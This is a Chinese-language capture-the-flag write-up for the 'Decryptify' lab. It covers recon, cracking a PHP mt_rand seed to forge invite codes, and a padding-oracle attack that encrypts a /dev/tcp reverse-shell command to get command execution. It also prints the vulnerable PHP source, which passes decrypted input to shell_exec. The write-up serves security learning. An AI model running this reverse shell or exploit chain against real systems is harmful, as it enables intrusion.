Recon#

Can you decrypt the secrets and get RCE on the system?

1
PORT     STATE SERVICE REASON         VERSION
2
22/tcp   open  ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
3
| ssh-hostkey:
4
|   3072 fe:96:56:b5:d9:1b:ed:3e:40:9a:a0:a1:bb:94:8b:39 (RSA)
5
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBUDCG+dn4vJLo2ppVhbnbbWkPfwNMNSsAk9DLI8wLWAoYrIs7m8AY7kH2j/7Mr082au1i5imda4qnNnX7oimvARha7Pc8xdt/Hd/9Jdp2xg1V86H8gt29Mm9MZDsprOeMhCHtxF0Y/erL7eLbVAz76V4CSo0Lk9Mmqi36G1mb6oT4zxmXm/JimHrblzHYyvsfqDNORh0xPhKfdlrJ2KvhN2MESqv2OzzO25QApvvXUfKUeT8DwEdpy/dRbveqAVmjvabsnxej14N5mRzYHaKMg/Z63zIt7ES4S1eL5ieWfBtDd8EsrwfSKa2/xDiqzvoD/Xopn+rOgrkFB9bGrd1VvNzV1N6PacZ0g76BOXBToH8AzbPVxFAzRHlAMmkZEbi2yOTb62ZMLkCKKD1JqS0nfzwA38a/PvvBEyb5m8kvw9/TNOp8ghcLdWbnKsjPmbglgBsIqK1Fgiu/Z+O8UylzKMOKprPoho8tQF4y+USesnLriVns/JGAYSB9sTFtNAE=
6
|   256 68:25:61:21:2a:35:fb:da:bb:66:48:1e:ee:4e:13:fc (ECDSA)
7
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFiUF3PfPxb0l8AhySTHaBnfWU3St2T5cm1Nrp0l0OVFTuB4Ug8J/vpuzhl4iGG2n+bH8v3ZRruXovHiayAqp5o=
8
|   256 ad:3b:a1:e7:de:69:99:d8:04:c0:55:dd:94:df:01:9c (ED25519)
9
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE1IynjBZfhpzq60JlYjpxWeZwR2nnvSf1G/k+qEBnDn
10
1337/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.41 ((Ubuntu))
11
| http-cookie-flags:
12
|   /:
13
|     PHPSESSID:
14
|_      httponly flag not set
15
|_http-title: Login - Decryptify
16
| http-methods:
17
|_  Supported Methods: GET HEAD POST OPTIONS
18
|_http-server-header: Apache/2.4.41 (Ubuntu)
19
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

两个端口, TTL 均为 64, Linux 默认一跳

22: SSH
1337: Apache Web, cookie 没有设置 httponly

Web#

登陆页面, 有账户密码登陆以及邀请码登录的选项, 页面底部还有一个 API document. login 常规登录需要用户名以及邀请码, 经过测试没有任何类似返回信息或延迟等可能的信息泄漏途径.

invitelogin 邀请码登录需要邮箱以及邀请码, 经过测试没有任何类似返回信息或延迟等可能的信息泄漏途径.

apidocslogin API 文档的访问只需要密码

tech stack#

1
HTTP/1.1 200 OK
2
Date: Fri, 18 Sep 2026 14:16:50 GMT
3
Server: Apache/2.4.41 (Ubuntu)
4
Set-Cookie: PHPSESSID=5p3tme16f2cii6bf2p1737t9e8; path=/
5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
6
Cache-Control: no-store, no-cache, must-revalidate
7
Pragma: no-cache
8
Vary: Accept-Encoding
9
Content-Length: 3220
10
Content-Type: text/html; charset=UTF-8

技术栈没有给出什么有趣的信息

enum#

1
  _|. _ _  _  _  _ _|_    v0.4.3.post1
2
 (_||| _) (/_(_|| (_| )
3

4
Extensions: html, php | HTTP method: GET | Threads: 25 | Wordlist size: 43003
5

6
Output File: /root/wrk/reports/http_10.65.160.45_1337/_26-09-18_14-21-05.txt
7

8
Target: http://10.65.160.45:1337/
9

10
[14:21:05] Starting:
11
[14:21:05] 403 -  279B  - /.html
12
[14:21:05] 403 -  279B  - /.php
13
[14:21:05] 301 -  317B  - /css  ->  http://10.65.160.45:1337/css/
14
Added to the queue: css/
15
[14:21:05] 403 -  279B  - /.htm
16
[14:21:06] 301 -  318B  - /logs  ->  http://10.65.160.45:1337/logs/
17
Added to the queue: logs/
18
[14:21:06] 301 -  316B  - /js  ->  http://10.65.160.45:1337/js/
19
Added to the queue: js/
20
[14:21:07] 301 -  324B  - /javascript  ->  http://10.65.160.45:1337/javascript/
21
Added to the queue: javascript/
22
[14:21:09] 301 -  324B  - /phpmyadmin  ->  http://10.65.160.45:1337/phpmyadmin/
23
Added to the queue: phpmyadmin/

有一个有趣的目录: logs

logs#

1
2025-01-23 14:32:56 - User POST to /index.php (Login attempt)
2
2025-01-23 14:33:01 - User POST to /index.php (Login attempt)
3
2025-01-23 14:33:05 - User GET /index.php (Login page access)
4
2025-01-23 14:33:15 - User POST to /index.php (Login attempt)
5
2025-01-23 14:34:20 - User POST to /index.php (Invite created, code: MTM0ODMzNzEyMg== for alpha@fake.thm)
6
2025-01-23 14:35:25 - User GET /index.php (Login page access)
7
2025-01-23 14:36:30 - User POST to /dashboard.php (User alpha@fake.thm deactivated)
8
2025-01-23 14:37:35 - User GET /login.php (Page not found)
9
2025-01-23 14:38:40 - User POST to /dashboard.php (New user created: hello@fake.thm)

两个用户:

alpha@fake.thm, 邀请码: MTM0ODMzNzEyMg==
hello@fake.thm, 没有对应邀请码

邀请码是 base64 格式

1
echo 'MTM0ODMzNzEyMg=='|base64 -d
2
1348337122

尝试以 alpha@fake.thm 登录, 显示账户已经被 deactivated logintry

`/js/api.js` Analyse#

在登录页的源代码中找到该文件, 打开后是经过混淆的JS代码

1
function b(c,d){const e=a();return b=function(f,g){f=f-0x165;let h=e[f];return h;},b(c,d);}const j=b;function a(){const k=['16OTYqOr','861cPVRNJ','474AnPRwy','H7gY2tJ9wQzD4rS1','5228dijopu','29131EDUYqd','8756315tjjUKB','1232020YOKSiQ','7042671GTNtXE','1593688UqvBWv','90209ggCpyY'];a=function(){return k;};return a();}(function(d,e){const i=b,f=d();while(!![]){try{const g=parseInt(i(0x16b))/0x1+-parseInt(i(0x16f))/0x2+parseInt(i(0x167))/0x3*(parseInt(i(0x16a))/0x4)+parseInt(i(0x16c))/0x5+parseInt(i(0x168))/0x6*(parseInt(i(0x165))/0x7)+-parseInt(i(0x166))/0x8*(parseInt(i(0x16e))/0x9)+parseInt(i(0x16d))/0xa;if(g===e)break;else f['push'](f['shift']());}catch(h){f['push'](f['shift']());}}}(a,0xe43f0));const c=j(0x169);

在在线网站反混淆后得到

1
function b(c, d) {
2
  const e = a();
3
  return b = function (f, g) {
4
    f = f - 357;
5
    let h = e[f];
6
    return h;
7
  }, b(c, d);
8
}
9
const j = b;
10
function a() {
11
  const k = ["16OTYqOr", "861cPVRNJ", "474AnPRwy", "H7gY2tJ9wQzD4rS1", "5228dijopu", "29131EDUYqd", "8756315tjjUKB", "1232020YOKSiQ", "7042671GTNtXE", "1593688UqvBWv", "90209ggCpyY"];
12
  a = function () {
13
    return k;
14
  };
15
  return a();
16
}
17
(function (d, e) {
18
  const i = b, f = d();
19
  while (true) {
20
    try {
21
      const g = parseInt(i(363)) / 1 + -parseInt(i(367)) / 2 + parseInt(i(359)) / 3 * (parseInt(i(362)) / 4) + parseInt(i(364)) / 5 + parseInt(i(360)) / 6 * (parseInt(i(357)) / 7) + -parseInt(i(358)) / 8 * (parseInt(i(366)) / 9) + parseInt(i(365)) / 10;
22
      if (g === e) break; else f.push(f.shift());
23
    } catch (h) {
24
      f.push(f.shift());
25
    }
26
  }
27
}(a, 934896));
28
const c = j(361);

投喂 AI 后其指出该代码最终会将 c 赋值为 H7gY2tJ9wQzD4rS1

Access to API document#

目前我们只有一串神奇小代码, 没有用户名或邮箱, 考虑只需要密码的 API 文档: apidocs

得到用于生成邀请码的 PHP 代码:

1
// Token generation example
2
function calculate_seed_value($email, $constant_value) {
3
    $email_length = strlen($email);
4
    $email_hex = hexdec(substr($email, 0, 8));
5
    $seed_value = hexdec($email_length + $constant_value + $email_hex);
6

7
    return $seed_value;
8
}
9
$seed_value = calculate_seed_value($email, $constant_value);
10
mt_srand($seed_value);
11
$random = mt_rand();
12
$invite_code = base64_encode($random);

其使用 mt_rand() 以 $seed_value 为种子生成随机数, 将随机数 base64 编码作为邀请码, 对于 mt_rand(), 其是一个伪随机数生成器, 但可以被破解, 需要一个已知的邀请码.

其中种子的生成依据三个两个变量: email 以及 constant, 其中我们已经拥有 email.

回顾上文, 我们恰好拥有一个邀请码: MTM0ODMzNzEyMg==, 对应 mt_rand() 结果 1348337122

crack seed and reverse constant#

openwallphp_mt_seed

1
./php_mt_seed 1348337122
2
Pattern: EXACT
3
Version: 3.0.7 to 5.2.0
4
Found 0, trying 0xfc000000 - 0xffffffff, speed 270.7 Mseeds/s
5
Version: 5.2.1+
6
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
7
seed = 0x00143783 = 1324931 (PHP 7.1.0+)
8
Found 1, trying 0x0e000000 - 0x0fffffff, speed 3.1 Mseeds/s

得到 $seed_value: 1324931

1
<?php
2

3
declare(strict_types=1);
4

5
/**
6
 * Recover the numeric constant from the seed formula:
7
 *
8
 *   $seed = hexdec(
9
 *       strlen($email) +
10
 *       $constant_value +
11
 *       hexdec(substr($email, 0, 8))
12
 *   );
13
 *
14
 * Usage:
15
 *   php recover-constant.php <email> <seed>
16
 */
17

18
function calculate_seed_value(string $email, int $constantValue): int|float
19
{
20
    $emailLength = strlen($email);
21
    $emailHex = @hexdec(substr($email, 0, 8));
22
    $combined = $emailLength + $constantValue + $emailHex;
23

24
    return hexdec((string) $combined);
25
}
26

27
function recover_constant_value(string $email, int $seed): int
28
{
29
    if ($seed < 0) {
30
        throw new InvalidArgumentException('The seed must be a non-negative integer.');
31
    }
32

33
    /*
34
     * The original code converts the decimal sum to a string and interprets
35
     * that string as hexadecimal. Therefore dechex($seed) must reproduce the
36
     * original decimal digit string.
37
     */
38
    $combinedString = dechex($seed);
39

40
    if (!preg_match('/^[0-9]+$/', $combinedString)) {
41
        throw new RuntimeException(
42
            "No exact decimal value can produce seed {$seed}: " .
43
            "its hexadecimal form contains non-decimal digits ({$combinedString})."
44
        );
45
    }
46

47
    $combinedValue = (int) $combinedString;
48
    $emailLength = strlen($email);
49
    $emailHex = @hexdec(substr($email, 0, 8));
50

51
    return $combinedValue - $emailLength - $emailHex;
52
}
53

54
if ($argc !== 3) {
55
    fwrite(STDERR, "Usage: php recover-constant.php <email> <seed>\n");
56
    exit(1);
57
}
58

59
[$script, $email, $seedInput] = $argv;
60

61
if (!preg_match('/^\d+$/', $seedInput)) {
62
    fwrite(STDERR, "Error: seed must be a non-negative integer.\n");
63
    exit(1);
64
}
65

66
try {
67
    $seed = (int) $seedInput;
68
    $constant = recover_constant_value($email, $seed);
69
    $verifiedSeed = calculate_seed_value($email, $constant);
70

71
    echo "email:          {$email}\n";
72
    echo "email length:   " . strlen($email) . "\n";
73
    echo "email hex:      " . @hexdec(substr($email, 0, 8)) . "\n";
74
    echo "seed:           {$seed}\n";
75
    echo "constant value: {$constant}\n";
76
    echo "verified seed:  {$verifiedSeed}\n";
77

78
    if ((int) $verifiedSeed !== $seed) {
79
        fwrite(STDERR, "Warning: recovered value did not reproduce the seed exactly.\n");
80
        exit(2);
81
    }
82
} catch (Throwable $error) {
83
    fwrite(STDERR, "Error: {$error->getMessage()}\n");
84
    exit(1);
85
}

让 AI 搓了一个小脚本, 得到常量:

1
php recover-constant.php alpha@fake.thm 1324931
2
email:          alpha@fake.thm
3
email length:   14
4
email hex:      43770
5
seed:           1324931
6
constant value: 99999
7
verified seed:  1324931

那么生成 hello@fake.thm 就很方便了:

1
// Token generation example
2
function calculate_seed_value($email, $constant_value) {
3
    $email_length = strlen($email);
4
    $email_hex = hexdec(substr($email, 0, 8));
5
    $seed_value = hexdec($email_length + $constant_value + $email_hex);
6

7
    return $seed_value;
8
}
9
$seed_value = calculate_seed_value("hello@fake.thm", 99999);
10
mt_srand($seed_value);
11
$random = mt_rand();
12
$invite_code = base64_encode($random);
13
echo $invite_code

得到邀请码: NDYxNTg5ODkx

dashboaed 看上去没什么新功能, 但给出了一个新邮箱: admin@fake.thm, 且指出当前用户角色为 user, admin@fake.thm 角色为 admin. 生成 admin 的邀请码: MTc0OTQ0NzAzNw==

看着很棒, 对把. 但是, 不行. fail

padding oracle and RCE#

查看页面源代码:

1
<!DOCTYPE html>
2
<html lang="en">
3
<head>
4
    <meta charset="UTF-8">
5
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
6
    <title>Dashboard</title>
7
    <link href="/css/bootstrap.min.css" rel="stylesheet">
8
</head>
9
<body>
10
    <header class="bg-primary text-white text-center py-3">
11
        <h1>Dashboard</h1>
12
    </header>
13
    <main class="container my-5">
14
        <h2>Welcome, hello@fake.thm! - Flag: THM{CryptographyPwn007}</h2>
15
        <a href="?action=logout" class="btn btn-danger">Logout</a>
16
        <table class="table mt-4">
17
            <thead>
18
                <tr>
19
                    <th>Username</th>
20
                    <th>Role</th>
21
                </tr>
22
            </thead>
23
            <tbody>
24
                <tr>
25
                    <td>hello@fake.thm</td>
26
                    <td>user</td>
27
                </tr>
28
                <tr>
29
                    <td>admin@fake.thm</td>
30
                    <td>admin</td>
31
                </tr>
32
            </tbody>
33
        </table>
34
    </main>
35
    <footer class="bg-light text-center py-3">
36
        <p>&copy;  <strong>2026
37
</strong> Decryptify</p>
38
        <form method="get">
39
            <input type="hidden" name="date" value="ID4Q/0Q2drIZLi8kL9HnzuPA2600r1+s6fuRkuD8U7M=">
40
        </form>
41
    </footer>
42
</body>
43
</html>

有一个隐藏的参数 date, 默认值看上去像 base64, 但这次无法解出明文:

1
echo 'ID4Q/0Q2drIZLi8kL9HnzuPA2600r1+s6fuRkuD8U7M='|base64 -d|xxd
2
00000000: 203e 10ff 4436 76b2 192e 2f24 2fd1 e7ce   >..D6v.../$/...
3
00000010: e3c0 dbad 34af 5fac e9fb 9192 e0fc 53b3  ....4._.......S.

按照值输入参数后页面上出现了一条错误信息:

1
© Padding error: error:0606506D:digital envelope routines:EVP_DecryptFinal_ex:wrong final block length

这意味着我们正在攻击一个 Padding Oracle, 填充预言机, 这篇文章介绍了攻击原理. 为了节省一些寿命, 这里选择自动化工具.

glebarezpadre

1
padre  -u 'http://10.65.160.45:1337/dashboard.php?date=$' -cookie "PHPSESSID=vpa4jp62n7re0852fssvdafl4l; role=d057af5933d8acebfe290fe2bbd540e08a2a81a22eff55969a89a7dbe84fb98cd6cbda066ed79220eba70afb9b3d4e0d" "ID4Q/0Q2drIZLi8kL9HnzuPA2600r1+s6fuRkuD8U7M="
2
[i] padre is on duty
3
[i] using concurrency (http connections): 30
4
[+] successfully detected padding oracle
5
[+] detected block length: 8
6
[!] mode: decrypt
7
[1/1] date +%Y\x08\x08\x08\x08\x08\x08\x08\x08\... [24/24] | reqs: 3298 (0/sec)

其解密后的数据为 date +%Y, 后面为 padding, 尝试获取 shell

1
padre  -u 'http://10.65.160.45:1337/dashboard.php?date=$' -cookie "PHPSESSID=vpa4jp62n7re0852fssvdafl4l; role=d057af5933d8acebfe290fe2bbd540e08a2a81a22eff55969a89a7dbe84fb98cd6cbda066ed79220eba70afb9b3d4e0d"  -enc "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.65.95.88/4444 0>&1'"
2
[i] padre is on duty
3
[i] using concurrency (http connections): 30
4
[+] successfully detected padding oracle
5
[+] detected block length: 8
6
[!] mode: encrypt
7
[1/1] 9hw66HuQxtJsQldH2s5sGg3BwkS2TLLBtamEHJJQMQjtZlnwC/QatXxFUjbVO+uZs9hEkMc3YY7JM8gF/6QLnWVuZWVlYm5l                                                                                         [72/72] | reqs: 9813 (3271/sec)
8
root@ip-10-65-95-88:~/wrk# nc -lvvnp 4444
9
Listening on 0.0.0.0 4444
10
Connection received on 10.65.160.45 34988
11
bash: cannot set terminal process group (668): Inappropriate ioctl for device
12
bash: no job control in this shell
13
www-data@ip-10-65-160-45:/var/www/html$ whoami
14
whoami
15
www-data
16
www-data@ip-10-65-160-45:/var/www/html$ cat /home/ubuntu/flag.txt
17
cat /home/ubuntu/flag.txt
18
THM{GOT_COMMAND_EXECUTION001}

beyond the flag#

1
?php
2
session_start();
3
error_reporting(E_ALL);
4
ini_set('display_errors', 1);
5
$key = "1234567890abcdef"; // Same 16-byte key
6
$pass = 'tryhack1';
7
$str = "";
8

9
// Functions for encryption and decryption
10
function encryptString($unencryptedText, $passphrase) {
11
    $iv = random_bytes(openssl_cipher_iv_length('DES-CBC')); // DES block size is 8 bytes
12
    $text = pad($unencryptedText, 8); // Keep PKCS5 padding
13
    $enc = openssl_encrypt($text, 'DES-CBC', $passphrase, OPENSSL_RAW_DATA, $iv);
14

15
    if ($enc === false) {
16
        die("Encryption failed: " . openssl_error_string());
17
    }
18

19
    return base64_encode($iv . $enc);
20
}
21

22
function decryptString($encryptedText, $passphrase) {
23
    $encrypted = base64_decode($encryptedText);
24
    $iv_size = openssl_cipher_iv_length('DES-CBC'); // Get IV size for DES-CBC
25
    $iv = substr($encrypted, 0, $iv_size); // Extract the IV
26
    $ciphertext = substr($encrypted, $iv_size); // Extract the actual ciphertext
27

28
    $dec = openssl_decrypt($ciphertext, 'DES-CBC', $passphrase, OPENSSL_RAW_DATA, $iv); // Decrypt the ciphertext
29

30
    if ($dec === false) {
31
    http_response_code(400);
32
        return "Padding error: " . openssl_error_string();
33
    }
34

35
    $str = unpad($dec); // Remove padding
36
    if ($str === false) {
37
    http_response_code(400);
38
        echo "Invalid padding" . $str;
39
        die();
40
    } else {
41
        return $str;
42
    }
43
}
44

45
function pad($text, $blocksize) {
46
    $pad = $blocksize - (strlen($text) % $blocksize);
47
    return $text . str_repeat(chr($pad), $pad);
48
}
49

50
function unpad($text) {
51
    if (empty($text)) {
52
        return false; // Invalid input
53
    }
54

55
    $pad = ord($text[strlen($text) - 1]); // Get the value of the last byte
56

57
    // If the padding byte value is out of range, treat as unpadded output
58
    if ($pad < 1 || $pad > strlen($text)) {
59
        return $text; // No padding detected, return original text
60
    }
61

62
    // Check if the last $pad bytes are all equal to $pad
63
    if (substr($text, -$pad) !== str_repeat(chr($pad), $pad)) {
64
        return $text; // Assume it's unpadded if padding is invalid
65
    }
66

67
    // Valid padding, remove it
68
    return substr($text, 0, -1 * $pad);
69
}
70

71
if (!isset($_SESSION['username']) ) {
72
    // If no session exists, redirect to login
73
   header("Location: logout.php");
74
}
75

76
// Logout logic
77
if (isset($_GET['action']) && $_GET['action'] === 'logout') {
78
    session_destroy();
79
    setcookie("secure", "", time() - 3600, "/"); // Expire the secure cookie
80
    setcookie("role", "", time() - 3600, "/"); // Expire the role cookie
81
    header("Location: index.php");
82
    exit;
83
}
84

85
$comm ="";
86
$output = "";
87
if (isset($_GET['date'])) {
88
  $comm = $_GET['date'];
89
  $resp = decryptString($_GET['date'], $pass);
90
  //echo $resp;
91
  if (strpos($resp, 'Padding error:')!== false)
92
  {
93
    $output = $resp;
94
  }
95
  else{
96
     $command = $_GET['date'];
97
      $output = shell_exec($resp);
98
  }
99

100
  //echo "command: ". $resp;
101
  //echo "command is". $resp;
102
  //if(isValidCommand($resp)){
103

104
  //}
105
  //else{
106
  //$output = "invalid command";
107
  //}
108

109
}
110
else{
111
  $command = "date +%Y";
112
  //$command = "cat /home/ubuntu/flag.txt";
113
  $comm = encryptString($command, $pass);
114

115
   $output = shell_exec($command);
116

117
}
118

119

120
function isValidCommand($command) {
121
    $output = shell_exec("command -v " . escapeshellarg($command) . " 2>/dev/null");
122
    return !empty($output);
123
}
124

125
if (isset($_SESSION['username']) ) {
126
?>
127

128
<!DOCTYPE html>
129
<html lang="en">
130
<head>
131
    <meta charset="UTF-8">
132
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
133
    <title>Dashboard</title>
134
    <link href="/css/bootstrap.min.css" rel="stylesheet">
135
</head>
136
<body>
137
    <header class="bg-primary text-white text-center py-3">
138
        <h1>Dashboard</h1>
139
    </header>
140
    <main class="container my-5">
141
        <h2>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?>! - Flag: THM{CryptographyPwn007}</h2>
142
        <a href="?action=logout" class="btn btn-danger">Logout</a>
143
        <table class="table mt-4">
144
            <thead>
145
                <tr>
146
                    <th>Username</th>
147
                    <th>Role</th>
148
                </tr>
149
            </thead>
150
            <tbody>
151
                <tr>
152
                    <td>hello@fake.thm</td>
153
                    <td>user</td>
154
                </tr>
155
                <tr>
156
                    <td>admin@fake.thm</td>
157
                    <td>admin</td>
158
                </tr>
159
            </tbody>
160
        </table>
161
    </main>
162
    <footer class="bg-light text-center py-3">
163
        <p>&copy;  <strong><?php echo htmlspecialchars($output); ?></strong> Decryptify</p>
164
        <form method="get">
165
            <input type="hidden" name="date" value="<?php echo $comm; ?>">
166
        </form>
167
    </footer>
168
</body>
169
</html>
170
<?php
171
}
172
else{
173
   header("Location: logout.php");
174

175
}

其使用 DES-CBC 方式进行加密, 其是一种分组密码, 每个块在加密前都会与前一个块的密文进行异或. 类似于选择明文攻击, 如果可以在加密前进行填充(输入):

1
function pad($text, $blocksize) {
2
    $pad = $blocksize - (strlen($text) % $blocksize);
3
    return $text . str_repeat(chr($pad), $pad);
4
}
5
$text = pad($unencryptedText, 8);

我们确实可以控制加密前的数据.

0x5t4ckc47

Recon#

Web#

tech stack#

enum#

logs#

`/js/api.js` Analyse#

Access to API document#

crack seed and reverse constant#

padding oracle and RCE#

beyond the flag#

Continue reading

Take another route

0x5t4ckc47

Recon#

Web#

tech stack#

enum#

logs#

/js/api.js Analyse#

Access to API document#

crack seed and reverse constant#

login as hello@fake.thm#

login as admin@fake.thm?#

padding oracle and RCE#

beyond the flag#

Share Article

Related reading

Take another route

`/js/api.js` Analyse#

login as hello@fake.thm #